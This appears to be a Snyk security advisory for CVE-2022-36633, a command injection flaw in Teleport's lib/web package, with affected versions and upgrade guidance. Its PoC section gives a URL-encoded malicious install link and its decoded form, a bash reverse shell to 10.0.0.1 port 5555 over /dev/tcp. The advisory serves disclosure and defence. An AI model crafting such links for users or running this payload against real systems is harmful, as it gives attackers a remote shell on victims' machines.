Command Injection Affecting github.com/gravitational/teleport/lib/web package, versions <8.3.17>=9.0.0 <9.3.13>=10.0.0 <10.1.2


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature
EPSS
28.15% (97th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-GOLANG-GITHUBCOMGRAVITATIONALTELEPORTLIBWEB-2992509
  • published25 Aug 2022
  • disclosed25 Aug 2022
  • creditBrandon Roach, Brian Landrum

Introduced: 25 Aug 2022

CVE-2022-36633  (opens in a new tab)
CWE-77  (opens in a new tab)

How to fix?

Upgrade github.com/gravitational/teleport/lib/web to version 8.3.17, 9.3.13, 10.1.2 or higher.

Overview

github.com/gravitational/teleport/lib/web is a Privileged access management tool.

Affected versions of this package are vulnerable to Command Injection via a crafted ssh-agent installation link, by URL encoding a bash escape with carriage return line feed which can be used in place of a token and sent to a user.

PoC:

Example payload:

https://teleport.site.com/scripts/%22%0a%2f%62%69%6e%2f%62%61%73%68%20%2d%6c%20%3e%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%30%2e%31%2f%35%35%35%35%20%30%3c%26%31%20%32%3e%26%31%20%23/install-node.sh?method=iam <https://teleport.site.com/scripts/%22%0a%2fbin%2fbash%20-l%20%3e%20%2fdev%2ftcp%2f10.0.0.1%2f5555%200%3c%261%202%3e%261%20%23/install-node.sh?method=iam>

Decoded payload:

"
/bin/bash -l > /dev/tcp/10.0.0.1/5555 0<&1 2>&1 #

CVSS Scores

version 3.1